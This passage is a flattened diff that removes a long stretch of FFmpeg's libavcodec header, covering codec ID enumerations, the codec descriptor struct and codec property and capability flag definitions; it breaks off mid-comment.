AV_CODEC_ID_INDEO2, - AV_CODEC_ID_FRAPS, - AV_CODEC_ID_TRUEMOTION2, - AV_CODEC_ID_BMP, - AV_CODEC_ID_CSCD, - AV_CODEC_ID_MMVIDEO, - AV_CODEC_ID_ZMBV, - AV_CODEC_ID_AVS, - AV_CODEC_ID_SMACKVIDEO, - AV_CODEC_ID_NUV, - AV_CODEC_ID_KMVC, - AV_CODEC_ID_FLASHSV, - AV_CODEC_ID_CAVS, - AV_CODEC_ID_JPEG2000, - AV_CODEC_ID_VMNC, - AV_CODEC_ID_VP5, - AV_CODEC_ID_VP6, - AV_CODEC_ID_VP6F, - AV_CODEC_ID_TARGA, - AV_CODEC_ID_DSICINVIDEO, - AV_CODEC_ID_TIERTEXSEQVIDEO, - AV_CODEC_ID_TIFF, - AV_CODEC_ID_GIF, - AV_CODEC_ID_DXA, - AV_CODEC_ID_DNXHD, - AV_CODEC_ID_THP, - AV_CODEC_ID_SGI, - AV_CODEC_ID_C93, - AV_CODEC_ID_BETHSOFTVID, - AV_CODEC_ID_PTX, - AV_CODEC_ID_TXD, - AV_CODEC_ID_VP6A, - AV_CODEC_ID_AMV, - AV_CODEC_ID_VB, - AV_CODEC_ID_PCX, - AV_CODEC_ID_SUNRAST, - AV_CODEC_ID_INDEO4, - AV_CODEC_ID_INDEO5, - AV_CODEC_ID_MIMIC, - AV_CODEC_ID_RL2, - AV_CODEC_ID_ESCAPE124, - AV_CODEC_ID_DIRAC, - AV_CODEC_ID_BFI, - AV_CODEC_ID_CMV, - AV_CODEC_ID_MOTIONPIXELS, - AV_CODEC_ID_TGV, - AV_CODEC_ID_TGQ, - AV_CODEC_ID_TQI, - AV_CODEC_ID_AURA, - AV_CODEC_ID_AURA2, - AV_CODEC_ID_V210X, - AV_CODEC_ID_TMV, - AV_CODEC_ID_V210, - AV_CODEC_ID_DPX, - AV_CODEC_ID_MAD, - AV_CODEC_ID_FRWU, - AV_CODEC_ID_FLASHSV2, - AV_CODEC_ID_CDGRAPHICS, - AV_CODEC_ID_R210, - AV_CODEC_ID_ANM, - AV_CODEC_ID_BINKVIDEO, - AV_CODEC_ID_IFF_ILBM, -#define AV_CODEC_ID_IFF_BYTERUN1 AV_CODEC_ID_IFF_ILBM - AV_CODEC_ID_KGV1, - AV_CODEC_ID_YOP, - AV_CODEC_ID_VP8, - AV_CODEC_ID_PICTOR, - AV_CODEC_ID_ANSI, - AV_CODEC_ID_A64_MULTI, - AV_CODEC_ID_A64_MULTI5, - AV_CODEC_ID_R10K, - AV_CODEC_ID_MXPEG, - AV_CODEC_ID_LAGARITH, - AV_CODEC_ID_PRORES, - AV_CODEC_ID_JV, - AV_CODEC_ID_DFA, - AV_CODEC_ID_WMV3IMAGE, - AV_CODEC_ID_VC1IMAGE, - AV_CODEC_ID_UTVIDEO, - AV_CODEC_ID_BMV_VIDEO, - AV_CODEC_ID_VBLE, - AV_CODEC_ID_DXTORY, - AV_CODEC_ID_V410, - AV_CODEC_ID_XWD, - AV_CODEC_ID_CDXL, - AV_CODEC_ID_XBM, - AV_CODEC_ID_ZEROCODEC, - AV_CODEC_ID_MSS1, - AV_CODEC_ID_MSA1, - AV_CODEC_ID_TSCC2, - AV_CODEC_ID_MTS2, - AV_CODEC_ID_CLLC, - AV_CODEC_ID_MSS2, - AV_CODEC_ID_VP9, - AV_CODEC_ID_AIC, - AV_CODEC_ID_ESCAPE130, - AV_CODEC_ID_G2M, - AV_CODEC_ID_WEBP, - AV_CODEC_ID_HNM4_VIDEO, - AV_CODEC_ID_HEVC, -#define AV_CODEC_ID_H265 AV_CODEC_ID_HEVC - AV_CODEC_ID_FIC, - AV_CODEC_ID_ALIAS_PIX, - AV_CODEC_ID_BRENDER_PIX, - AV_CODEC_ID_PAF_VIDEO, - AV_CODEC_ID_EXR, - AV_CODEC_ID_VP7, - AV_CODEC_ID_SANM, - AV_CODEC_ID_SGIRLE, - AV_CODEC_ID_MVC1, - AV_CODEC_ID_MVC2, - AV_CODEC_ID_HQX, - AV_CODEC_ID_TDSC, - AV_CODEC_ID_HQ_HQA, - AV_CODEC_ID_HAP, - AV_CODEC_ID_DDS, - AV_CODEC_ID_DXV, - AV_CODEC_ID_SCREENPRESSO, - AV_CODEC_ID_RSCC, - - AV_CODEC_ID_Y41P = 0x8000, - AV_CODEC_ID_AVRP, - AV_CODEC_ID_012V, - AV_CODEC_ID_AVUI, - AV_CODEC_ID_AYUV, - AV_CODEC_ID_TARGA_Y216, - AV_CODEC_ID_V308, - AV_CODEC_ID_V408, - AV_CODEC_ID_YUV4, - AV_CODEC_ID_AVRN, - AV_CODEC_ID_CPIA, - AV_CODEC_ID_XFACE, - AV_CODEC_ID_SNOW, - AV_CODEC_ID_SMVJPEG, - AV_CODEC_ID_APNG, - AV_CODEC_ID_DAALA, - AV_CODEC_ID_CFHD, - - /* various PCM "codecs" */ - AV_CODEC_ID_FIRST_AUDIO = 0x10000, ///< A dummy id pointing at the start of audio codecs - AV_CODEC_ID_PCM_S16LE = 0x10000, - AV_CODEC_ID_PCM_S16BE, - AV_CODEC_ID_PCM_U16LE, - AV_CODEC_ID_PCM_U16BE, - AV_CODEC_ID_PCM_S8, - AV_CODEC_ID_PCM_U8, - AV_CODEC_ID_PCM_MULAW, - AV_CODEC_ID_PCM_ALAW, - AV_CODEC_ID_PCM_S32LE, - AV_CODEC_ID_PCM_S32BE, - AV_CODEC_ID_PCM_U32LE, - AV_CODEC_ID_PCM_U32BE, - AV_CODEC_ID_PCM_S24LE, - AV_CODEC_ID_PCM_S24BE, - AV_CODEC_ID_PCM_U24LE, - AV_CODEC_ID_PCM_U24BE, - AV_CODEC_ID_PCM_S24DAUD, - AV_CODEC_ID_PCM_ZORK, - AV_CODEC_ID_PCM_S16LE_PLANAR, - AV_CODEC_ID_PCM_DVD, - AV_CODEC_ID_PCM_F32BE, - AV_CODEC_ID_PCM_F32LE, - AV_CODEC_ID_PCM_F64BE, - AV_CODEC_ID_PCM_F64LE, - AV_CODEC_ID_PCM_BLURAY, - AV_CODEC_ID_PCM_LXF, - AV_CODEC_ID_S302M, - AV_CODEC_ID_PCM_S8_PLANAR, - AV_CODEC_ID_PCM_S24LE_PLANAR, - AV_CODEC_ID_PCM_S32LE_PLANAR, - AV_CODEC_ID_PCM_S16BE_PLANAR, - /* new PCM "codecs" should be added right below this line starting with - * an explicit value of for example 0x10800 - */ - - /* various ADPCM codecs */ - AV_CODEC_ID_ADPCM_IMA_QT = 0x11000, - AV_CODEC_ID_ADPCM_IMA_WAV, - AV_CODEC_ID_ADPCM_IMA_DK3, - AV_CODEC_ID_ADPCM_IMA_DK4, - AV_CODEC_ID_ADPCM_IMA_WS, - AV_CODEC_ID_ADPCM_IMA_SMJPEG, - AV_CODEC_ID_ADPCM_MS, - AV_CODEC_ID_ADPCM_4XM, - AV_CODEC_ID_ADPCM_XA, - AV_CODEC_ID_ADPCM_ADX, - AV_CODEC_ID_ADPCM_EA, - AV_CODEC_ID_ADPCM_G726, - AV_CODEC_ID_ADPCM_CT, - AV_CODEC_ID_ADPCM_SWF, - AV_CODEC_ID_ADPCM_YAMAHA, - AV_CODEC_ID_ADPCM_SBPRO_4, - AV_CODEC_ID_ADPCM_SBPRO_3, - AV_CODEC_ID_ADPCM_SBPRO_2, - AV_CODEC_ID_ADPCM_THP, - AV_CODEC_ID_ADPCM_IMA_AMV, - AV_CODEC_ID_ADPCM_EA_R1, - AV_CODEC_ID_ADPCM_EA_R3, - AV_CODEC_ID_ADPCM_EA_R2, - AV_CODEC_ID_ADPCM_IMA_EA_SEAD, - AV_CODEC_ID_ADPCM_IMA_EA_EACS, - AV_CODEC_ID_ADPCM_EA_XAS, - AV_CODEC_ID_ADPCM_EA_MAXIS_XA, - AV_CODEC_ID_ADPCM_IMA_ISS, - AV_CODEC_ID_ADPCM_G722, - AV_CODEC_ID_ADPCM_IMA_APC, - AV_CODEC_ID_ADPCM_VIMA, -#if FF_API_VIMA_DECODER - AV_CODEC_ID_VIMA = AV_CODEC_ID_ADPCM_VIMA, -#endif - - AV_CODEC_ID_ADPCM_AFC = 0x11800, - AV_CODEC_ID_ADPCM_IMA_OKI, - AV_CODEC_ID_ADPCM_DTK, - AV_CODEC_ID_ADPCM_IMA_RAD, - AV_CODEC_ID_ADPCM_G726LE, - AV_CODEC_ID_ADPCM_THP_LE, - AV_CODEC_ID_ADPCM_PSX, - AV_CODEC_ID_ADPCM_AICA, - - /* AMR */ - AV_CODEC_ID_AMR_NB = 0x12000, - AV_CODEC_ID_AMR_WB, - - /* RealAudio codecs*/ - AV_CODEC_ID_RA_144 = 0x13000, - AV_CODEC_ID_RA_288, - - /* various DPCM codecs */ - AV_CODEC_ID_ROQ_DPCM = 0x14000, - AV_CODEC_ID_INTERPLAY_DPCM, - AV_CODEC_ID_XAN_DPCM, - AV_CODEC_ID_SOL_DPCM, - - AV_CODEC_ID_SDX2_DPCM = 0x14800, - - /* audio codecs */ - AV_CODEC_ID_MP2 = 0x15000, - AV_CODEC_ID_MP3, ///< preferred ID for decoding MPEG audio layer 1, 2 or 3 - AV_CODEC_ID_AAC, - AV_CODEC_ID_AC3, - AV_CODEC_ID_DTS, - AV_CODEC_ID_VORBIS, - AV_CODEC_ID_DVAUDIO, - AV_CODEC_ID_WMAV1, - AV_CODEC_ID_WMAV2, - AV_CODEC_ID_MACE3, - AV_CODEC_ID_MACE6, - AV_CODEC_ID_VMDAUDIO, - AV_CODEC_ID_FLAC, - AV_CODEC_ID_MP3ADU, - AV_CODEC_ID_MP3ON4, - AV_CODEC_ID_SHORTEN, - AV_CODEC_ID_ALAC, - AV_CODEC_ID_WESTWOOD_SND1, - AV_CODEC_ID_GSM, ///< as in Berlin toast format - AV_CODEC_ID_QDM2, - AV_CODEC_ID_COOK, - AV_CODEC_ID_TRUESPEECH, - AV_CODEC_ID_TTA, - AV_CODEC_ID_SMACKAUDIO, - AV_CODEC_ID_QCELP, - AV_CODEC_ID_WAVPACK, - AV_CODEC_ID_DSICINAUDIO, - AV_CODEC_ID_IMC, - AV_CODEC_ID_MUSEPACK7, - AV_CODEC_ID_MLP, - AV_CODEC_ID_GSM_MS, /* as found in WAV */ - AV_CODEC_ID_ATRAC3, -#if FF_API_VOXWARE - AV_CODEC_ID_VOXWARE, -#endif - AV_CODEC_ID_APE, - AV_CODEC_ID_NELLYMOSER, - AV_CODEC_ID_MUSEPACK8, - AV_CODEC_ID_SPEEX, - AV_CODEC_ID_WMAVOICE, - AV_CODEC_ID_WMAPRO, - AV_CODEC_ID_WMALOSSLESS, - AV_CODEC_ID_ATRAC3P, - AV_CODEC_ID_EAC3, - AV_CODEC_ID_SIPR, - AV_CODEC_ID_MP1, - AV_CODEC_ID_TWINVQ, - AV_CODEC_ID_TRUEHD, - AV_CODEC_ID_MP4ALS, - AV_CODEC_ID_ATRAC1, - AV_CODEC_ID_BINKAUDIO_RDFT, - AV_CODEC_ID_BINKAUDIO_DCT, - AV_CODEC_ID_AAC_LATM, - AV_CODEC_ID_QDMC, - AV_CODEC_ID_CELT, - AV_CODEC_ID_G723_1, - AV_CODEC_ID_G729, - AV_CODEC_ID_8SVX_EXP, - AV_CODEC_ID_8SVX_FIB, - AV_CODEC_ID_BMV_AUDIO, - AV_CODEC_ID_RALF, - AV_CODEC_ID_IAC, - AV_CODEC_ID_ILBC, - AV_CODEC_ID_OPUS, - AV_CODEC_ID_COMFORT_NOISE, - AV_CODEC_ID_TAK, - AV_CODEC_ID_METASOUND, - AV_CODEC_ID_PAF_AUDIO, - AV_CODEC_ID_ON2AVC, - AV_CODEC_ID_DSS_SP, - - AV_CODEC_ID_FFWAVESYNTH = 0x15800, - AV_CODEC_ID_SONIC, - AV_CODEC_ID_SONIC_LS, - AV_CODEC_ID_EVRC, - AV_CODEC_ID_SMV, - AV_CODEC_ID_DSD_LSBF, - AV_CODEC_ID_DSD_MSBF, - AV_CODEC_ID_DSD_LSBF_PLANAR, - AV_CODEC_ID_DSD_MSBF_PLANAR, - AV_CODEC_ID_4GV, - AV_CODEC_ID_INTERPLAY_ACM, - AV_CODEC_ID_XMA1, - AV_CODEC_ID_XMA2, - - /* subtitle codecs */ - AV_CODEC_ID_FIRST_SUBTITLE = 0x17000, ///< A dummy ID pointing at the start of subtitle codecs. - AV_CODEC_ID_DVD_SUBTITLE = 0x17000, - AV_CODEC_ID_DVB_SUBTITLE, - AV_CODEC_ID_TEXT, ///< raw UTF-8 text - AV_CODEC_ID_XSUB, - AV_CODEC_ID_SSA, - AV_CODEC_ID_MOV_TEXT, - AV_CODEC_ID_HDMV_PGS_SUBTITLE, - AV_CODEC_ID_DVB_TELETEXT, - AV_CODEC_ID_SRT, - - AV_CODEC_ID_MICRODVD = 0x17800, - AV_CODEC_ID_EIA_608, - AV_CODEC_ID_JACOSUB, - AV_CODEC_ID_SAMI, - AV_CODEC_ID_REALTEXT, - AV_CODEC_ID_STL, - AV_CODEC_ID_SUBVIEWER1, - AV_CODEC_ID_SUBVIEWER, - AV_CODEC_ID_SUBRIP, - AV_CODEC_ID_WEBVTT, - AV_CODEC_ID_MPL2, - AV_CODEC_ID_VPLAYER, - AV_CODEC_ID_PJS, - AV_CODEC_ID_ASS, - AV_CODEC_ID_HDMV_TEXT_SUBTITLE, - - /* other specific kind of codecs (generally used for attachments) */ - AV_CODEC_ID_FIRST_UNKNOWN = 0x18000, ///< A dummy ID pointing at the start of various fake codecs. - AV_CODEC_ID_TTF = 0x18000, - - AV_CODEC_ID_BINTEXT = 0x18800, - AV_CODEC_ID_XBIN, - AV_CODEC_ID_IDF, - AV_CODEC_ID_OTF, - AV_CODEC_ID_SMPTE_KLV, - AV_CODEC_ID_DVD_NAV, - AV_CODEC_ID_TIMED_ID3, - AV_CODEC_ID_BIN_DATA, - - - AV_CODEC_ID_PROBE = 0x19000, ///< codec_id is not known (like AV_CODEC_ID_NONE) but lavf should attempt to identify it - - AV_CODEC_ID_MPEG2TS = 0x20000, /**< _FAKE_ codec to indicate a raw MPEG-2 TS - * stream (only used by libavformat) */ - AV_CODEC_ID_MPEG4SYSTEMS = 0x20001, /**< _FAKE_ codec to indicate a MPEG-4 Systems - * stream (only used by libavformat) */ - AV_CODEC_ID_FFMETADATA = 0x21000, ///< Dummy codec for streams containing only metadata information. - AV_CODEC_ID_WRAPPED_AVFRAME = 0x21001, ///< Passthrough codec, AVFrames wrapped in AVPacket -}; - -/** - * This struct describes the properties of a single codec described by an - * AVCodecID. - * @see avcodec_descriptor_get() - */ -typedef struct AVCodecDescriptor { - enum AVCodecID id; - enum AVMediaType type; - /** - * Name of the codec described by this descriptor. It is non-empty and - * unique for each codec descriptor. It should contain alphanumeric - * characters and '_' only. - */ - const char *name; - /** - * A more descriptive name for this codec. May be NULL. - */ - const char *long_name; - /** - * Codec properties, a combination of AV_CODEC_PROP_* flags. - */ - int props; - /** - * MIME type(s) associated with the codec. - * May be NULL; if not, a NULL-terminated array of MIME types. - * The first item is always non-NULL and is the preferred MIME type. - */ - const char *const *mime_types; - /** - * If non-NULL, an array of profiles recognized for this codec. - * Terminated with FF_PROFILE_UNKNOWN. - */ - const struct AVProfile *profiles; -} AVCodecDescriptor; - -/** - * Codec uses only intra compression. - * Video codecs only. - */ -#define AV_CODEC_PROP_INTRA_ONLY (1 << 0) -/** - * Codec supports lossy compression. Audio and video codecs only. - * @note a codec may support both lossy and lossless - * compression modes - */ -#define AV_CODEC_PROP_LOSSY (1 << 1) -/** - * Codec supports lossless compression. Audio and video codecs only. - */ -#define AV_CODEC_PROP_LOSSLESS (1 << 2) -/** - * Codec supports frame reordering. That is, the coded order (the order in which - * the encoded packets are output by the encoders / stored / input to the - * decoders) may be different from the presentation order of the corresponding - * frames. - * - * For codecs that do not have this property set, PTS and DTS should always be - * equal. - */ -#define AV_CODEC_PROP_REORDER (1 << 3) -/** - * Subtitle codec is bitmap based - * Decoded AVSubtitle data can be read from the AVSubtitleRect->pict field. - */ -#define AV_CODEC_PROP_BITMAP_SUB (1 << 16) -/** - * Subtitle codec is text based. - * Decoded AVSubtitle data can be read from the AVSubtitleRect->ass field. - */ -#define AV_CODEC_PROP_TEXT_SUB (1 << 17) - -/** - * @ingroup lavc_decoding - * Required number of additionally allocated bytes at the end of the input bitstream for decoding. - * This is mainly needed because some optimized bitstream readers read - * 32 or 64 bit at once and could read over the end.
- * Note: If the first 23 bits of the additional bytes are not 0, then damaged - * MPEG bitstreams could cause overread and segfault. - */ -#define AV_INPUT_BUFFER_PADDING_SIZE 32 - -/** - * @ingroup lavc_encoding - * minimum encoding buffer size - * Used to avoid some checks during header writing. - */ -#define AV_INPUT_BUFFER_MIN_SIZE 16384 - -#if FF_API_WITHOUT_PREFIX -/** - * @deprecated use AV_INPUT_BUFFER_PADDING_SIZE instead - */ -#define FF_INPUT_BUFFER_PADDING_SIZE 32 - -/** - * @deprecated use AV_INPUT_BUFFER_MIN_SIZE instead - */ -#define FF_MIN_BUFFER_SIZE 16384 -#endif /* FF_API_WITHOUT_PREFIX */ - -/** - * @ingroup lavc_encoding - * motion estimation type. - * @deprecated use codec private option instead - */ -#if FF_API_MOTION_EST -enum Motion_Est_ID { - ME_ZERO = 1, ///< no search, that is use 0,0 vector whenever one is needed - ME_FULL, - ME_LOG, - ME_PHODS, - ME_EPZS, ///< enhanced predictive zonal search - ME_X1, ///< reserved for experiments - ME_HEX, ///< hexagon based search - ME_UMH, ///< uneven multi-hexagon search - ME_TESA, ///< transformed exhaustive search algorithm - ME_ITER=50, ///< iterative search -}; -#endif - -/** - * @ingroup lavc_decoding - */ -enum AVDiscard{ - /* We leave some space between them for extensions (drop some - * keyframes for intra-only or drop just some bidir frames). */ - AVDISCARD_NONE =-16, ///< discard nothing - AVDISCARD_DEFAULT = 0, ///< discard useless packets like 0 size packets in avi - AVDISCARD_NONREF = 8, ///< discard all non reference - AVDISCARD_BIDIR = 16, ///< discard all bidirectional frames - AVDISCARD_NONINTRA= 24, ///< discard all non intra frames - AVDISCARD_NONKEY = 32, ///< discard all frames except keyframes - AVDISCARD_ALL = 48, ///< discard all -}; - -enum AVAudioServiceType { - AV_AUDIO_SERVICE_TYPE_MAIN = 0, - AV_AUDIO_SERVICE_TYPE_EFFECTS = 1, - AV_AUDIO_SERVICE_TYPE_VISUALLY_IMPAIRED = 2, - AV_AUDIO_SERVICE_TYPE_HEARING_IMPAIRED = 3, - AV_AUDIO_SERVICE_TYPE_DIALOGUE = 4, - AV_AUDIO_SERVICE_TYPE_COMMENTARY = 5, - AV_AUDIO_SERVICE_TYPE_EMERGENCY = 6, - AV_AUDIO_SERVICE_TYPE_VOICE_OVER = 7, - AV_AUDIO_SERVICE_TYPE_KARAOKE = 8, - AV_AUDIO_SERVICE_TYPE_NB , ///< Not part of ABI -}; - -/** - * @ingroup lavc_encoding - */ -typedef struct RcOverride{ - int start_frame; - int end_frame; - int qscale; // If this is 0 then quality_factor will be used instead. - float quality_factor; -} RcOverride; - -#if FF_API_MAX_BFRAMES -/** - * @deprecated there is no libavcodec-wide limit on the number of B-frames - */ -#define FF_MAX_B_FRAMES 16 -#endif - -/* encoding support - These flags can be passed in AVCodecContext.flags before initialization. - Note: Not everything is supported yet. -*/ - -/** - * Allow decoders to produce frames with data planes that are not aligned - * to CPU requirements (e.g. due to cropping). - */ -#define AV_CODEC_FLAG_UNALIGNED (1 << 0) -/** - * Use fixed qscale. - */ -#define AV_CODEC_FLAG_QSCALE (1 << 1) -/** - * 4 MV per MB allowed / advanced prediction for H.263. - */ -#define AV_CODEC_FLAG_4MV (1 << 2) -/** - * Output even those frames that might be corrupted. - */ -#define AV_CODEC_FLAG_OUTPUT_CORRUPT (1 << 3) -/** - * Use qpel MC. - */ -#define AV_CODEC_FLAG_QPEL (1 << 4) -/** - * Use internal 2pass ratecontrol in first pass mode. - */ -#define AV_CODEC_FLAG_PASS1 (1 << 9) -/** - * Use internal 2pass ratecontrol in second pass mode. - */ -#define AV_CODEC_FLAG_PASS2 (1 << 10) -/** - * loop filter. - */ -#define AV_CODEC_FLAG_LOOP_FILTER (1 << 11) -/** - * Only decode/encode grayscale. - */ -#define AV_CODEC_FLAG_GRAY (1 << 13) -/** - * error[?] variables will be set during encoding. - */ -#define AV_CODEC_FLAG_PSNR (1 << 15) -/** - * Input bitstream might be truncated at a random location - * instead of only at frame boundaries. - */ -#define AV_CODEC_FLAG_TRUNCATED (1 << 16) -/** - * Use interlaced DCT. - */ -#define AV_CODEC_FLAG_INTERLACED_DCT (1 << 18) -/** - * Force low delay. - */ -#define AV_CODEC_FLAG_LOW_DELAY (1 << 19) -/** - * Place global headers in extradata instead of every keyframe. - */ -#define AV_CODEC_FLAG_GLOBAL_HEADER (1 << 22) -/** - * Use only bitexact stuff (except (I)DCT). - */ -#define AV_CODEC_FLAG_BITEXACT (1 << 23) -/* Fx : Flag for h263+ extra options */ -/** - * H.263 advanced intra coding / MPEG-4 AC prediction - */ -#define AV_CODEC_FLAG_AC_PRED (1 << 24) -/** - * interlaced motion estimation - */ -#define AV_CODEC_FLAG_INTERLACED_ME (1 << 29) -#define AV_CODEC_FLAG_CLOSED_GOP (1U << 31) - -/** - * Allow non spec compliant speedup tricks. - */ -#define AV_CODEC_FLAG2_FAST (1 << 0) -/** - * Skip bitstream encoding. - */ -#define AV_CODEC_FLAG2_NO_OUTPUT (1 << 2) -/** - * Place global headers at every keyframe instead of in extradata. - */ -#define AV_CODEC_FLAG2_LOCAL_HEADER (1 << 3) - -/** - * timecode is in drop frame format. DEPRECATED!!!! - */ -#define AV_CODEC_FLAG2_DROP_FRAME_TIMECODE (1 << 13) - -/** - * Input bitstream might be truncated at a packet boundaries - * instead of only at frame boundaries. - */ -#define AV_CODEC_FLAG2_CHUNKS (1 << 15) -/** - * Discard cropping information from SPS. - */ -#define AV_CODEC_FLAG2_IGNORE_CROP (1 << 16) - -/** - * Show all frames before the first keyframe - */ -#define AV_CODEC_FLAG2_SHOW_ALL (1 << 22) -/** - * Export motion vectors through frame side data - */ -#define AV_CODEC_FLAG2_EXPORT_MVS (1 << 28) -/** - * Do not skip samples and export skip information as frame side data - */ -#define AV_CODEC_FLAG2_SKIP_MANUAL (1 << 29) - -/* Unsupported options : - * Syntax Arithmetic coding (SAC) - * Reference Picture Selection - * Independent Segment Decoding */ -/* /Fx */ -/* codec capabilities */ - -/** - * Decoder can use draw_horiz_band callback. - */ -#define AV_CODEC_CAP_DRAW_HORIZ_BAND (1 << 0) -/** - * Codec uses get_buffer() for allocating buffers and supports custom allocators. - * If not set, it might not use get_buffer() at all or use operations that - * assume the buffer was allocated by avcodec_default_get_buffer. - */ -#define AV_CODEC_CAP_DR1 (1 << 1) -#define AV_CODEC_CAP_TRUNCATED (1 << 3) -/** - * Encoder or decoder requires flushing with NULL input at the end in order to - * give the complete and correct output. - * - * NOTE: If this flag is not set, the codec is guaranteed to never be fed with - * with NULL data. The user can still send NULL data to the public encode - * or decode function, but libavcodec will not pass it along to the codec - * unless this flag is set. - * - * Decoders: - * The decoder has a non-zero delay and needs to be fed with avpkt->data=NULL, - * avpkt->size=0 at the end to get the delayed data until the decoder no longer - * returns frames. - * - * Encoders: - * The encoder needs to be fed with NULL data at the end of encoding until the - * encoder no longer returns data. - * - * NOTE: For encoders implementing the AVCodec.encode2() function, setting this - * flag also means that the encoder must set the pts and duration for - * each output packet. If this flag is not set, the pts and duration will - * be determined by libavcodec from the input frame. - */ -#define AV_CODEC_CAP_DELAY (1 << 5) -/** - * Codec can be fed a final frame with a smaller size. - * This can be used to prevent truncation of the last audio samples. - */ -#define AV_CODEC_CAP_SMALL_LAST_FRAME (1 << 6) - -#if FF_API_CAP_VDPAU -/** - * Codec can export data for HW decoding (VDPAU). - */ -#define AV_CODEC_CAP_HWACCEL_VDPAU (1 << 7) -#endif - -/** - * Codec can output multiple frames per AVPacket - * Normally demuxers return one frame at a time, demuxers which do not do - * are connected to a parser to split what they return into proper frames. - * This flag is reserved to the very rare category of codecs which have a - * bitstream that cannot be split into frames without timeconsuming - * operations like full decoding. Demuxers carring such bitstreams thus - * may return multiple frames in a packet. This has many disadvantages like - * prohibiting stream copy in many cases thus it should only be considered - * as a last resort. - */ -#define AV_CODEC_CAP_SUBFRAMES (1 << 8) -/** - * Codec is experimental and is thus avoided in favor of non experimental - * encoders - */ -#define AV_CODEC_CAP_EXPERIMENTAL (1 << 9) -/** - * Codec should fill in channel configuration and samplerate instead of container - */ -#define AV_CODEC_CAP_CHANNEL_CONF (1 << 10) -/** - * Codec supports frame-level multithreading. - */ -#define AV_CODEC_CAP_FRAME_THREADS (1 << 12) -/** - * Codec supports slice-based (or partition-based) multithreading. - */ -#define AV_CODEC_CAP_SLICE_THREADS (1 << 13) -/** - * Codec supports changed parameters at any point. - */ -#define AV_CODEC_CAP_PARAM_CHANGE (1 << 14) -/** - * Codec supports avctx->thread_count == 0 (auto). - */ -#define AV_CODEC_CAP_AUTO_THREADS (1 << 15) -/** - * Audio encoder supports receiving a different number of samples in each call. - */ -#define AV_CODEC_CAP_VARIABLE_FRAME_SIZE (1 << 16) -/** - * Codec is intra only. - */ -#define AV_CODEC_CAP_INTRA_ONLY 0x40000000 -/** - * Codec is lossless. - */ -#define AV_CODEC_CAP_LOSSLESS 0x80000000 - - -#if FF_API_WITHOUT_PREFIX -/** - * Allow decoders to produce frames with data planes that are not aligned - * to CPU requirements (e.g. due to cropping). - */ -#define CODEC_FLAG_UNALIGNED AV_CODEC_FLAG_UNALIGNED -#define CODEC_FLAG_QSCALE AV_CODEC_FLAG_QSCALE -#define CODEC_FLAG_4MV AV_CODEC_FLAG_4MV -#define CODEC_FLAG_OUTPUT_CORRUPT AV_CODEC_FLAG_OUTPUT_CORRUPT -#define CODEC_FLAG_QPEL AV_CODEC_FLAG_QPEL -#if FF_API_GMC -/** - * @deprecated use the "gmc" private option of the libxvid encoder - */ -#define CODEC_FLAG_GMC 0x0020 ///< Use GMC. -#endif -#if FF_API_MV0 -/** - * @deprecated use the flag "mv0" in the "mpv_flags" private option of the - * mpegvideo encoders - */ -#define CODEC_FLAG_MV0 0x0040 -#endif -#if FF_API_INPUT_PRESERVED -/** - * @deprecated passing reference-counted frames to the encoders replaces this - * flag - */ -#define CODEC_FLAG_INPUT_PRESERVED 0x0100 -#endif -#define CODEC_FLAG_PASS1 AV_CODEC_FLAG_PASS1 -#define CODEC_FLAG_PASS2 AV_CODEC_FLAG_PASS2 -#define CODEC_FLAG_GRAY AV_CODEC_FLAG_GRAY -#if FF_API_EMU_EDGE -/** - * @deprecated edges are not used/required anymore. I.e. this flag is now always - * set. - */ -#define CODEC_FLAG_EMU_EDGE 0x4000 -#endif -#define CODEC_FLAG_PSNR AV_CODEC_FLAG_PSNR -#define CODEC_FLAG_TRUNCATED AV_CODEC_FLAG_TRUNCATED - -#if FF_API_NORMALIZE_AQP -/** - * @deprecated use the flag "naq" in the "mpv_flags" private option of the - * mpegvideo encoders - */ -#define CODEC_FLAG_NORMALIZE_AQP 0x00020000 -#endif -#define CODEC_FLAG_INTERLACED_DCT AV_CODEC_FLAG_INTERLACED_DCT -#define CODEC_FLAG_LOW_DELAY AV_CODEC_FLAG_LOW_DELAY -#define CODEC_FLAG_GLOBAL_HEADER AV_CODEC_FLAG_GLOBAL_HEADER -#define CODEC_FLAG_BITEXACT AV_CODEC_FLAG_BITEXACT -#define CODEC_FLAG_AC_PRED AV_CODEC_FLAG_AC_PRED -#define CODEC_FLAG_LOOP_FILTER AV_CODEC_FLAG_LOOP_FILTER -#define CODEC_FLAG_INTERLACED_ME AV_CODEC_FLAG_INTERLACED_ME -#define CODEC_FLAG_CLOSED_GOP AV_CODEC_FLAG_CLOSED_GOP -#define CODEC_FLAG2_FAST AV_CODEC_FLAG2_FAST -#define CODEC_FLAG2_NO_OUTPUT AV_CODEC_FLAG2_NO_OUTPUT -#define CODEC_FLAG2_LOCAL_HEADER AV_CODEC_FLAG2_LOCAL_HEADER -#define CODEC_FLAG2_DROP_FRAME_TIMECODE AV_CODEC_FLAG2_DROP_FRAME_TIMECODE -#define CODEC_FLAG2_IGNORE_CROP AV_CODEC_FLAG2_IGNORE_CROP - -#define CODEC_FLAG2_CHUNKS AV_CODEC_FLAG2_CHUNKS -#define CODEC_FLAG2_SHOW_ALL AV_CODEC_FLAG2_SHOW_ALL -#define CODEC_FLAG2_EXPORT_MVS AV_CODEC_FLAG2_EXPORT_MVS -#define CODEC_FLAG2_SKIP_MANUAL AV_CODEC_FLAG2_SKIP_MANUAL - -/* Unsupported options : - * Syntax Arithmetic coding (SAC) - * Reference Picture Selection - * Independent Segment Decoding */ -/* /Fx */ -/* codec capabilities */ - -#define CODEC_CAP_DRAW_HORIZ_BAND AV_CODEC_CAP_DRAW_HORIZ_BAND ///< Decoder can use draw_horiz_band callback. -/** - * Codec uses get_buffer() for allocating buffers and supports custom allocators. - * If not set, it might not use get_buffer() at all or use operations that - * assume the buffer was allocated by avcodec_default_get_buffer. - */ -#define CODEC_CAP_DR1 AV_CODEC_CAP_DR1 -#define CODEC_CAP_TRUNCATED AV_CODEC_CAP_TRUNCATED -#if FF_API_XVMC -/* Codec can export data for HW decoding. This flag indicates that - * the codec would call get_format() with list that might contain HW accelerated - * pixel formats (XvMC, VDPAU, VAAPI, etc). The application can pick any of them - * including raw image format. - * The application can use the passed context to determine bitstream version, - * chroma format, resolution etc. - */ -#define CODEC_CAP_HWACCEL 0x0010 -#endif /* FF_API_XVMC */ -/** - * Encoder or decoder requires flushing with NULL input at the end in order to - * give the complete and correct output. - * - * NOTE: If this flag is not set, the codec is guaranteed to never be fed with - * with NULL data. The user can still send NULL data to the public encode - * or decode function, but libavcodec will not pass it along to the codec - * unless this flag is set. - * - * Decoders: - * 